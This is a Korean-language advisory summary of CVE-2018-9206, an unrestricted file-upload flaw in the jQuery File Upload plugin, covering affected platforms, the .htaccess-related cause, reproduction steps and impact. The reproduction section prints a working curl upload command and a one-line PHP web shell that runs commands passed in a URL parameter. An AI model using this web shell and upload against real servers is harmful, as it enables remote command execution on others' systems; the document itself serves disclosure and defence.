jQuery File Upload Plugin Vulnerability (CVE-2018-9206)


발견자 : 아카마이 Larry Cashdollar가 발견함.


*jQuery file upload:jQuery 위젯으로 다수 파일 선택, 드래그&드랍 지원, 진행바, 이미지/오디오/비디오 파일 검증 도구 함유

<영향받는 제품>

기본 HTML 형식의 파일 업로드 형태를 지원하는 모든 서버 플랫폼이 해당함 - PHP, Python, Ruby on Rails, Java, Node.js, GO. 2010년도 등의 오래된 버전도 해당됨.

해당 플러그인이나 플러그인을 토대로 만들어진 코드들은 이 취약점을 가지고 있으며, 취약점을 이용한 공격방법은 유투브에서 쉽게 찾아 볼 수 있음. 단독으로 사용되는 웹 어플리케이션부터 워드프레스 플러그인 등 다른 컨텐츠 관리 시스템들이 모두 해당됨.


<취약원인>

성능항샹과(아파치가 디렉토르에 접근할때마다 .htaccess 파일을 체크하지 않아되기 때문) 서버에 셋팅된 보안 설정을 사용자가 오버라이드 하지 못하도록 2.3.9. 버전부터 .htaccess를 사용불가능하게 한 것이 주된 원인. jQuery File Upload PHP는 보안을 .htaccess 파일에 의존함.이 취약점은 플러그인이 파일 업로드를 컨텐츠 유형 이미지로만 업로드를 허용하면서 발생함. 


<재현>

server/php 폴더: upload.php, UploadHandler.php: 파일 업로드 코드가 있음

파일은 서버 루트 패스의 files/ 폴더에 저장되고 이를 공격자가 웹 쉘을 업로드하여 서버에 명령어들을 실행할 수 있음


1) 명령어 실행 

$ curl -F ""files=@shell.php"" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php


Where shell.php is:


<?php $cmd=$_GET['cmd']; system($cmd);?>


2) cmd=id 테스트 웹 서버에 연결된 브라우저는 웹서버가 실행중은 프로세서 id 값을 리턴함.


- 영향성: 파일업로드와 코드실행 취약점 및 데이터 유출, 악성코드 감염, 변조 등 다양한 공격에 취약하게 만듦. 


취약한 플러그인을 포킹해서 사용하는 프로젝트들 중 얼마나 많은 수의 프로젝트들이 안전하게 유지,관리되고 있는지 알 수 없고, 이 플러그인을 포킹한 프로젝트들이 어떤 것들인지 알 길이 없음.


<관련 CVE코드>

CVE-2018-9206

PoC : https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206


출처: https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html

  https://www.securityweek.com/0-day-jquery-plugin-impacts-thousands-applications

 



+ Recent posts